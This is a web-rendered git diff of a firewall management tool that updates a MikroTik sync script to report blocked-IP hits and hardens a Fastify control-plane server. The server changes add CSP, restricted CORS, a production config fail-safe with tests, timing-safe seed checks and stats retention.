:do { /ip firewall filter set [find comment=evofw-deny-drop-forward] disabled=no } on-error={} :do { /ip firewall filter set [find comment=evofw-deny-drop-forward] disabled=no } on-error={}
:do { /ip firewall filter set [find comment=evofw-allow-accept-forward] disabled=no } on-error={} :do { /ip firewall filter set [find comment=evofw-allow-accept-forward] disabled=no } on-error={}
:if ($da = "drop") do={ :if ($da = "drop") do={
@@ -134,11 +162,11 @@
:local denyCnt [:len [/ip firewall address-list find list=EVOFW_DENY]] :local denyCnt [:len [/ip firewall address-list find list=EVOFW_DENY]]
:local allowCnt [:len [/ip firewall address-list find list=EVOFW_ALLOW]] :local allowCnt [:len [/ip firewall address-list find list=EVOFW_ALLOW]]
:local cnt ($denyCnt + $allowCnt) :local cnt ($denyCnt + $allowCnt)
# Cumulative counters from permanent filter rules (survive address-list rebuild). # Cumulative counters from permanent drop/accept rules (not hit passthrough).
:local dropped 0 :local dropped 0
:local accepted 0 :local accepted 0
:do { :do {
:foreach i in=[/ip firewall filter find where comment~"^evofw-deny-"] do={ :foreach i in=[/ip firewall filter find where comment~"^evofw-deny-drop-"] do={
:set dropped ($dropped + [/ip firewall filter get $i packets]) :set dropped ($dropped + [/ip firewall filter get $i packets])
} }
} on-error={} } on-error={}
@@ -152,14 +180,30 @@
:set accepted ($accepted + [/ip firewall filter get $i packets]) :set accepted ($accepted + [/ip firewall filter get $i packets])
} }
} on-error={} } on-error={}
:local report ("{\"status\":\"ok\",\"prefix_count\":" . $cnt . ",\"packets_dropped\":" . $dropped . ",\"packets_accepted\":" . $accepted . ",\"kernel_method\":\"address-list\",\"source\":\"mikrotik\"}") # EVOFW_HITS: real src /32 that matched deny (timeout 1h). Do not wipe on policy rebuild.
:local hits "["
:local hitN 0
:do {
:foreach i in=[/ip firewall address-list find list=EVOFW_HITS] do={
:if ($hitN < 200) do={
:local a [/ip firewall address-list get $i address]
:if ([:len $a] > 0) do={
:if ($hitN > 0) do={ :set hits ($hits . ",") }
:set hits ($hits . "{\"ip\":\"" . $a . "\",\"packets\":1}")
:set hitN ($hitN + 1)
}
}
}
} on-error={}
:set hits ($hits . "]")
:local report ("{\"status\":\"ok\",\"prefix_count\":" . $cnt . ",\"packets_dropped\":" . $dropped . ",\"packets_accepted\":" . $accepted . ",\"kernel_method\":\"address-list\",\"source\":\"mikrotik\",\"ip_hits\":" . $hits . "}")
:do { :do {
/tool fetch url=($EvofwCpUrl . "/v1/agent/apply-report") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data=$report keep-result=no /tool fetch url=($EvofwCpUrl . "/v1/agent/apply-report") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data=$report keep-result=no
} on-error={} } on-error={}
:do { :do {
/tool fetch url=($EvofwCpUrl . "/v1/agent/heartbeat") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data="{\"source\":\"mikrotik\"}" keep-result=no /tool fetch url=($EvofwCpUrl . "/v1/agent/heartbeat") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data="{\"source\":\"mikrotik\"}" keep-result=no
} on-error={} } on-error={}
:log info ("evofw: sync done deny=" . $denyCnt . " allow=" . $allowCnt . " dropPkts=" . $dropped . " acceptPkts=" . $accepted) :log info ("evofw: sync done deny=" . $denyCnt . " allow=" . $allowCnt . " hits=" . $hitN . " dropPkts=" . $dropped . " acceptPkts=" . $accepted)
} }
} }
+54 -2
View File
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
const app = Fastify({ const app = Fastify({
logger: { level: config.logLevel }, logger: { level: config.logLevel },
genReqId: () => crypto.randomUUID(),
}).withTypeProvider<ZodTypeProvider>() }).withTypeProvider<ZodTypeProvider>()
// Correlation id in every response and in the error envelope.
app.addHook('onSend', async (req, reply) => {
reply.header('x-request-id', req.id)
})
app.setValidatorCompiler(validatorCompiler) app.setValidatorCompiler(validatorCompiler)
app.setSerializerCompiler(serializerCompiler) app.setSerializerCompiler(serializerCompiler)
await app.register(import('@fastify/sensible')) await app.register(import('@fastify/sensible'))
// CSP only guards the served SPA; in dev the Vite server proxies API
// requests same-origin and injects its own HMR scripts.
await app.register(import('@fastify/helmet'), { await app.register(import('@fastify/helmet'), {
contentSecurityPolicy: false, contentSecurityPolicy:
config.staticDir !== null
? {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:'],
fontSrc: ["'self'", 'data:'],
// app-switcher talks to the auth portal directly from the browser
connectSrc: ["'self'", config.authPortalUrl],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
}
: false,
}) })
await app.register(import('@fastify/rate-limit'), { await app.register(import('@fastify/rate-limit'), {
max: 300, max: 300,
timeWindow: '1 minute', timeWindow: '1 minute',
}) })
await app.register(corsPlugin) await app.register(corsPlugin, { config })
await app.register(errorHandlerPlugin) await app.register(errorHandlerPlugin)
await app.register(dbPlugin, { config, memory: opts.memory }) await app.register(dbPlugin, { config, memory: opts.memory })
await app.register(authPlugin, { config }) await app.register(authPlugin, { config })
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
preventOverrun: true, preventOverrun: true,
}), }),
) )
// Raw stats samples grow ~1 row per agent per sync interval; drop old
// ones daily. Lifetime totals live on agents; aggregates are kept.
const runRetention = async () => {
const cutoff = new Date(
Date.now() - config.statsRetentionDays * 86_400_000,
).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
if (deleted > 0) {
app.log.info(
{ deleted, cutoff },
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
)
}
}
app.scheduler.addCronJob(
new CronJob(
{ cronExpression: '17 3 * * *' },
new AsyncTask('stats-retention', runRetention, (err) => {
app.log.warn({ err }, 'stats retention failed')
}),
{ preventOverrun: true },
),
)
// First cleanup right at startup, not only after the next 03:17.
runRetention().catch((err) =>
app.log.warn({ err }, 'stats retention failed'),
)
} }
return app return app
+74
View File
@@ -0,0 +1,74 @@
import { describe, it, expect, afterEach } from 'vitest'
import { loadConfig } from './config.js'
const SAVED: Record<string, string | undefined> = {}
const KEYS = [
'NODE_ENV',
'AUTH_REQUIRED',
'AUTH_JWT_SECRET',
'JWT_SECRET',
'EVOFW_ENROLL_SEED',
'EVOFW_ALLOW_UNSAFE',
]
afterEach(() => {
for (const k of KEYS) {
if (SAVED[k] === undefined) delete process.env[k]
else process.env[k] = SAVED[k]
}
})
function setEnv(vars: Record<string, string | undefined>) {
for (const [k, v] of Object.entries(vars)) {
if (!(k in SAVED)) SAVED[k] = process.env[k]
if (v === undefined) delete process.env[k]
else process.env[k] = v
}
}
describe('loadConfig production fail-safe', () => {
it('refuses insecure defaults in production', () => {
setEnv({
NODE_ENV: 'production',
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
setEnv({ AUTH_REQUIRED: 'true' })
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
setEnv({ AUTH_JWT_SECRET: 'short' })
expect(() => loadConfig()).toThrow(/real secret/)
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
})
it('starts with explicit opt-out or full production config', () => {
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
expect(() => loadConfig()).not.toThrow()
setEnv({
EVOFW_ALLOW_UNSAFE: undefined,
EVOFW_ENROLL_SEED: 'real-seed',
})
expect(() => loadConfig()).not.toThrow()
})
it('dev keeps permissive defaults', () => {
setEnv({
NODE_ENV: undefined,
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
const config = loadConfig()
expect(config.authRequired).toBe(false)
expect(config.corsOrigins).toEqual([])
})
})
+44 -4
View File
@@ -13,6 +13,9 @@ export interface AppConfig {
authAuditIngestSecret: string | null authAuditIngestSecret: string | null
publicBaseUrl: string publicBaseUrl: string
enrollSeed: string enrollSeed: string
corsOrigins: string[]
secretKey: string | null
statsRetentionDays: number
} }
function boolEnv(v: string | undefined, fallback: boolean): boolean { function boolEnv(v: string | undefined, fallback: boolean): boolean {
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
return v === '1' || v.toLowerCase() === 'true' return v === '1' || v.toLowerCase() === 'true'
} }
const DEV_JWT_SECRET = 'dev-secret-change-me'
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
export function loadConfig(): AppConfig { export function loadConfig(): AppConfig {
const isProd = process.env.NODE_ENV === 'production' const isProd = process.env.NODE_ENV === 'production'
const jwtSecret = const jwtSecret =
process.env.AUTH_JWT_SECRET ?? process.env.AUTH_JWT_SECRET ??
process.env.JWT_SECRET ?? process.env.JWT_SECRET ??
(isProd ? '' : 'dev-secret-change-me') (isProd ? '' : DEV_JWT_SECRET)
return { const config: AppConfig = {
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db', databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
jwtSecret: jwtSecret || 'dev-secret-change-me', jwtSecret: jwtSecret || DEV_JWT_SECRET,
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24, jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080, serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
staticDir: process.env.STATIC_DIR staticDir: process.env.STATIC_DIR
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
enrollSeed: enrollSeed:
process.env.EVOFW_ENROLL_SEED ?? process.env.EVOFW_ENROLL_SEED ??
process.env.BUNDLE_SEED_HEX ?? process.env.BUNDLE_SEED_HEX ??
'dev-enroll-seed-change-me', DEV_ENROLL_SEED,
corsOrigins: (process.env.CORS_ORIGINS ?? '')
.split(',')
.map((s) => s.trim().replace(/\/$/, ''))
.filter(Boolean),
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
statsRetentionDays: Math.max(
1,
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
),
} }
// Fail-safe: a production process must not start wide open or with
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
// opt-out for isolated/lab deployments.
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
const problems: string[] = []
if (!config.authRequired) {
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
}
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
problems.push('AUTH_JWT_SECRET is not set')
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
}
if (config.enrollSeed === DEV_ENROLL_SEED) {
problems.push('EVOFW_ENROLL_SEED is not set')
}
if (problems.length > 0) {
throw new Error(
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
)
}
}
return config
} }
View File
Whitespace-only changes.
+15 -2
View File
@@ -1,8 +1,21 @@
import type { FastifyInstance } from 'fastify' import type { FastifyInstance } from 'fastify'
import fp from 'fastify-plugin' import fp from 'fastify-plugin'
import type { AppConfig } from '../config.js'
async function corsPlugin(app: FastifyInstance) { async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
await app.register(import('@fastify/cors'), { origin: true }) const allowed = opts.config.corsOrigins
await app.register(import('@fastify/cors'), {
// The SPA is served same-origin (or via the Vite dev proxy), so by
// default only non-CORS (same-origin/server-side) requests pass.
// CORS_ORIGINS opens specific origins explicitly.
origin: (origin, cb) => {
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
cb(null, true)
} else {
cb(null, false)
}
},
})
} }
export default fp(corsPlugin, { name: 'cors' }) export default fp(corsPlugin, { name: 'cors' })
+12 -3
View File
@@ -14,17 +14,25 @@ export class AppError extends Error {
} }
async function errorHandlerPlugin(app: FastifyInstance) { async function errorHandlerPlugin(app: FastifyInstance) {
app.setErrorHandler((err, _req, reply) => { app.setErrorHandler((err, req, reply) => {
if (err instanceof AppError) { if (err instanceof AppError) {
return reply.code(err.statusCode).send({ return reply.code(err.statusCode).send({
error: { code: err.code, message: err.message }, error: {
code: err.code,
message: err.message,
request_id: String(req.id),
},
}) })
} }
if (err instanceof ZodError) { if (err instanceof ZodError) {
const message = const message =
err.issues.map((i) => i.message).join('; ') || 'Validation error' err.issues.map((i) => i.message).join('; ') || 'Validation error'
return reply.code(400).send({ return reply.code(400).send({
error: { code: 'VALIDATION_ERROR', message }, error: {
code: 'VALIDATION_ERROR',
message,
request_id: String(req.id),
},
}) })
} }
const e = err as { statusCode?: number; message?: string } const e = err as { statusCode?: number; message?: string }
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
error: { error: {
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR', code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
message, message,
request_id: String(req.id),
}, },
}) })
}) })
View File
Whitespace-only changes.
+98 -5
View File
@@ -1,8 +1,9 @@
import { readFileSync } from 'node:fs' import { readFileSync } from 'node:fs'
import { createHash, timingSafeEqual } from 'node:crypto'
import { join } from 'node:path' import { join } from 'node:path'
import type { FastifyPluginAsync } from 'fastify' import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db' import { repos } from '@evofw/db'
import { enrollBodySchema, applyReportBodySchema } from '@evofw/shared' import { enrollBodySchema, applyReportBodySchema, hostFwRuleSchema, hostListenerSchema } from '@evofw/shared'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { hashToken } from '../plugins/auth.js' import { hashToken } from '../plugins/auth.js'
import { evaluateAgentPolicy } from '../services/policy/evaluate.js' import { evaluateAgentPolicy } from '../services/policy/evaluate.js'
@@ -10,9 +11,41 @@ import { renderMikrotikPolicyRsc } from '../services/policy/mikrotik-rsc.js'
import { AppError } from '../plugins/error-handler.js' import { AppError } from '../plugins/error-handler.js'
import { resolveAgentScriptsDir } from '../services/agent-scripts-path.js' import { resolveAgentScriptsDir } from '../services/agent-scripts-path.js'
import { resolveAndRenderInstall } from '../services/install-links.js' import { resolveAndRenderInstall } from '../services/install-links.js'
import {
getSyncScriptMeta,
ifNoneMatchHits,
} from '../services/sync-script.js'
const scriptsDir = resolveAgentScriptsDir() const scriptsDir = resolveAgentScriptsDir()
/** Constant-time seed check; hash first so lengths always match. */
function seedMatches(presented: string | undefined, expected: string): boolean {
if (!presented) return false
const a = createHash('sha256').update(presented).digest()
const b = createHash('sha256').update(expected).digest()
return timingSafeEqual(a, b)
}
function sanitizeHostFirewall(raw: {
rules?: unknown[]
listeners?: unknown[]
}): { rules: unknown[]; listeners: unknown[] } {
const rules: unknown[] = []
for (const item of raw.rules ?? []) {
const parsed = hostFwRuleSchema.safeParse(item)
if (parsed.success) rules.push(parsed.data)
}
const listeners: unknown[] = []
for (const item of raw.listeners ?? []) {
const parsed = hostListenerSchema.safeParse(item)
if (parsed.success) listeners.push(parsed.data)
}
return {
rules: rules.slice(0, 500),
listeners: listeners.slice(0, 200),
}
}
export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
opts, opts,
@@ -39,9 +72,15 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
}, },
) )
app.get('/v1/agent/sync-script', async (_req, reply) => { app.get('/v1/agent/sync-script', async (req, reply) => {
const body = readFileSync(join(scriptsDir, 'evofw-firewall.sh'), 'utf-8') const meta = getSyncScriptMeta()
return reply.type('text/x-shellscript').send(body) reply.header('ETag', meta.etag)
reply.header('X-Evofw-Script-Sha256', meta.sha256)
const inm = req.headers['if-none-match']
if (ifNoneMatchHits(inm, meta.etag)) {
return reply.code(304).send()
}
return reply.type('text/x-shellscript').send(meta.body)
}) })
app.get('/v1/agent/uninstall.sh', async (_req, reply) => { app.get('/v1/agent/uninstall.sh', async (_req, reply) => {
@@ -61,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const seed = req.headers['x-evofw-seed'] const seed = req.headers['x-evofw-seed']
const expected = const expected =
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
if (!seed || String(seed) !== expected) { if (!seedMatches(String(seed ?? ''), expected)) {
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401) throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
} }
const body = enrollBodySchema.parse(req.body) const body = enrollBodySchema.parse(req.body)
@@ -146,14 +185,24 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
lastSeenIp: req.ip, lastSeenIp: req.ip,
}) })
const policy = evaluateAgentPolicy(app.db, agentId) const policy = evaluateAgentPolicy(app.db, agentId)
const scriptSha = getSyncScriptMeta().sha256
return { return {
generation: policy.generation, generation: policy.generation,
hash: policy.hash, hash: policy.hash,
apply_version: policy.applyVersion, apply_version: policy.applyVersion,
default_action: policy.defaultAction, default_action: policy.defaultAction,
policy_mode: policy.policyMode, policy_mode: policy.policyMode,
script_sha256: scriptSha,
deny_cidrs: policy.denyCidrs, deny_cidrs: policy.denyCidrs,
allow_cidrs: policy.allowCidrs, allow_cidrs: policy.allowCidrs,
port_rules: policy.portRules.map((r) => ({
id: r.id,
action: r.action,
protocol: r.protocol,
port_start: r.portStart,
port_end: r.portEnd,
src_cidrs: r.srcCidrs,
})),
sync_interval_sec: policy.syncIntervalSec, sync_interval_sec: policy.syncIntervalSec,
// compat: prefixes = deny when default accept, else allow (legacy single-bag clients) // compat: prefixes = deny when default accept, else allow (legacy single-bag clients)
prefixes: prefixes:
@@ -199,6 +248,13 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const totalDropped = (prev?.totalPacketsDropped ?? 0) + deltaDropped const totalDropped = (prev?.totalPacketsDropped ?? 0) + deltaDropped
const totalAccepted = (prev?.totalPacketsAccepted ?? 0) + deltaAccepted const totalAccepted = (prev?.totalPacketsAccepted ?? 0) + deltaAccepted
// Chain/set counters were flushed (policy apply). Zero per-IP baselines so
// the next epoch of element counters accumulates (zeros are omitted from ip_hits).
// Port hits use a separate dynamic set that is not flushed on apply — leave baselines.
if (reportedDropped < prevDropped) {
repos.resetIpBlockStatsBaselines(app.db, agentId)
}
repos.updateAgent(app.db, agentId, { repos.updateAgent(app.db, agentId, {
lastApplyAt: now, lastApplyAt: now,
lastApplyStatus: body.status, lastApplyStatus: body.status,
@@ -221,6 +277,43 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
kernelMethod: body.kernel_method ?? null, kernelMethod: body.kernel_method ?? null,
recordedAt: now, recordedAt: now,
}) })
if (body.ip_hits?.length) {
const presence = body.source === 'mikrotik'
repos.upsertIpBlockStats(app.db, agentId, body.ip_hits, now, {
mode: presence ? 'presence' : 'absolute',
})
}
if (body.port_hits?.length && body.source !== 'mikrotik') {
repos.upsertPortBlockStats(app.db, agentId, body.port_hits, now)
}
if (body.host_firewall && body.source !== 'mikrotik') {
const sanitized = sanitizeHostFirewall(body.host_firewall)
// Empty snapshot must not wipe a previous good collect (agent bash bugs / race).
if (
sanitized.rules.length === 0 &&
sanitized.listeners.length === 0
) {
const existing = repos.getHostFirewallSnapshot(app.db, agentId)
if (existing) {
return { ok: true }
}
}
const payloadJson = JSON.stringify({
rules: sanitized.rules,
listeners: sanitized.listeners,
})
const rawDigest = createHash('sha256')
.update(payloadJson)
.digest('hex')
.slice(0, 16)
repos.upsertHostFirewallSnapshot(
app.db,
agentId,
payloadJson,
now,
rawDigest,
)
}
return { ok: true } return { ok: true }
}) })
+48 -8
View File
@@ -5,6 +5,7 @@ import {
putAgentPolicySetsBodySchema, putAgentPolicySetsBodySchema,
patchAgentBodySchema, patchAgentBodySchema,
cloneFromBodySchema, cloneFromBodySchema,
agentIdsBodySchema,
} from '@evofw/shared' } from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js' import { AppError } from '../plugins/error-handler.js'
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js' import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js' import { auditMutation } from '../services/audit.js'
import { mapAgent } from '../services/row-mappers.js' import { mapAgent } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => { ) => {
const { config } = opts const { config } = opts
app.get('/agents', async () => { app.get<{ Querystring: { limit?: string; offset?: string } }>(
const all = repos.listAgents(app.db) '/agents',
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db) async (req) => {
return { const all = repos.listAgents(app.db)
items: all.map((a) => { const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
const items = all.map((a) => {
const link = linksByAgent.get(a.id) const link = linksByAgent.get(a.id)
if (!link) { if (!link) {
return mapAgent(a) return mapAgent(a)
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
installCurl: urls.curl.by_slug, installCurl: urls.curl.by_slug,
installLinkId: link.id, installLinkId: link.id,
}) })
}), })
} const paged = applyPagination(items, req.query)
}) return { items: paged.items, total: paged.total }
},
)
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => { app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
const a = repos.getAgent(app.db, req.params.id) const a = repos.getAgent(app.db, req.params.id)
@@ -73,6 +78,7 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
cidrs_allow: policy.summary.cidrsAllow, cidrs_allow: policy.summary.cidrsAllow,
overrides: policy.summary.overrides, overrides: policy.summary.overrides,
conflicts_dropped: policy.summary.conflictsDropped, conflicts_dropped: policy.summary.conflictsDropped,
port_rules: policy.summary.portRules,
}, },
chain: policy.chain.map((s) => ({ chain: policy.chain.map((s) => ({
set_id: s.setId, set_id: s.setId,
@@ -87,6 +93,14 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
allow_cidrs: truncateCidrs(policy.allowCidrs, limit), allow_cidrs: truncateCidrs(policy.allowCidrs, limit),
deny_cidrs_total: policy.denyCidrs.length, deny_cidrs_total: policy.denyCidrs.length,
allow_cidrs_total: policy.allowCidrs.length, allow_cidrs_total: policy.allowCidrs.length,
port_rules: policy.portRules.map((r) => ({
id: r.id,
action: r.action,
protocol: r.protocol,
port_start: r.portStart,
port_end: r.portEnd,
src_cidrs: r.srcCidrs,
})),
} }
}) })
@@ -138,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
return mapAgent(updated!) return mapAgent(updated!)
}) })
app.post('/agents/approve-bulk', async (req) => {
const body = agentIdsBodySchema.parse(req.body)
const now = new Date().toISOString()
const approved: string[] = []
app.sqlite.transaction(() => {
for (const id of body.agent_ids) {
const a = repos.getAgent(app.db, id)
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
repos.updateAgent(app.db, a.id, {
status: 'approved',
approvedAt: now,
})
repos.ensureSharedSetAssigned(app.db, a.id)
approved.push(a.id)
}
})()
auditMutation(app, config, req, {
action: 'agent.approve',
targetType: 'app_resource',
targetId: approved[0] ?? '',
summary: `Массовое одобрение агентов: ${approved.length}`,
details: { agent_ids: approved },
})
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
})
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => { app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
const a = repos.getAgent(app.db, req.params.id) const a = repos.getAgent(app.db, req.params.id)
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404) if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
+2
View File
@@ -7,6 +7,7 @@ import { listsRoutes } from './lists.js'
import { policySetsRoutes } from './policy-sets.js' import { policySetsRoutes } from './policy-sets.js'
import { rulesRoutes } from './rules.js' import { rulesRoutes } from './rules.js'
import { statsRoutes } from './stats.js' import { statsRoutes } from './stats.js'
import { portAclRoutes } from './port-acl.js'
import { integrationsEvobgpRoutes } from './integrations-evobgp.js' import { integrationsEvobgpRoutes } from './integrations-evobgp.js'
import { settingsRoutes } from './settings.js' import { settingsRoutes } from './settings.js'
@@ -23,6 +24,7 @@ export const controlRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
await app.register(policySetsRoutes, { config }) await app.register(policySetsRoutes, { config })
await app.register(rulesRoutes, { config }) await app.register(rulesRoutes, { config })
await app.register(statsRoutes, { config }) await app.register(statsRoutes, { config })
await app.register(portAclRoutes, { config })
await app.register(integrationsEvobgpRoutes) await app.register(integrationsEvobgpRoutes)
await app.register(settingsRoutes, { config }) await app.register(settingsRoutes, { config })
} }
+11 -5
View File
@@ -9,6 +9,7 @@ import {
import { hashToken } from '../plugins/auth.js' import { hashToken } from '../plugins/auth.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js' import { auditMutation } from '../services/audit.js'
import { applyPagination } from '../services/pagination.js'
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
) => { ) => {
const { config } = opts const { config } = opts
app.get('/install-links', async () => ({ app.get<{ Querystring: { limit?: string; offset?: string } }>(
items: repos '/install-links',
.listInstallLinks(app.db) async (req) => {
.map((row) => mapInstallLink(row, config.publicBaseUrl)), const items = repos
})) .listInstallLinks(app.db)
.map((row) => mapInstallLink(row, config.publicBaseUrl))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/install-links', async (req, reply) => { app.post('/install-links', async (req, reply) => {
const body = createInstallLinkBodySchema.parse(req.body) const body = createInstallLinkBodySchema.parse(req.body)
+28 -22
View File
@@ -15,6 +15,8 @@ import {
} from '../services/lists/entries.js' } from '../services/lists/entries.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js' import { auditMutation } from '../services/audit.js'
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
import { applyPagination } from '../services/pagination.js'
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => { ) => {
const { config } = opts const { config } = opts
app.get('/lists', async () => { app.get<{ Querystring: { limit?: string; offset?: string } }>(
const lists = repos.listIpLists(app.db) '/lists',
const counts = repos.countEntriesByListIds( async (req) => {
app.db, const lists = repos.listIpLists(app.db)
lists.map((l) => l.id), const counts = repos.countEntriesByListIds(
) app.db,
const items = lists.map((l) => ({ lists.map((l) => l.id),
id: l.id, )
name: l.name, const items = lists.map((l) => ({
type: l.type, id: l.id,
config_json: l.configJson, name: l.name,
content_hash: l.contentHash, type: l.type,
refreshed_at: l.refreshedAt, config_json: maskListConfig(l.configJson),
last_error: l.lastError, content_hash: l.contentHash,
entry_count: counts.get(l.id) ?? 0, refreshed_at: l.refreshedAt,
created_at: l.createdAt, last_error: l.lastError,
updated_at: l.updatedAt, entry_count: counts.get(l.id) ?? 0,
})) created_at: l.createdAt,
return { items } updated_at: l.updatedAt,
}) }))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/lists', async (req) => { app.post('/lists', async (req) => {
const body = createIpListBodySchema.parse(req.body) const body = createIpListBodySchema.parse(req.body)
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id, id,
name: body.name, name: body.name,
type, type,
configJson: JSON.stringify(body.config ?? {}), configJson: sealListConfig({ ...(body.config ?? {}) }),
createdAt: new Date().toISOString(), createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(), updatedAt: new Date().toISOString(),
}) })
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id: list!.id, id: list!.id,
name: list!.name, name: list!.name,
type: list!.type, type: list!.type,
config_json: list!.configJson, config_json: maskListConfig(list!.configJson),
created_at: list!.createdAt, created_at: list!.createdAt,
updated_at: list!.updatedAt, updated_at: list!.updatedAt,
} }
+56
View File
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
import { import {
createPolicySetBodySchema, createPolicySetBodySchema,
patchPolicySetBodySchema, patchPolicySetBodySchema,
agentIdsBodySchema,
} from '@evofw/shared' } from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js' import { AppError } from '../plugins/error-handler.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
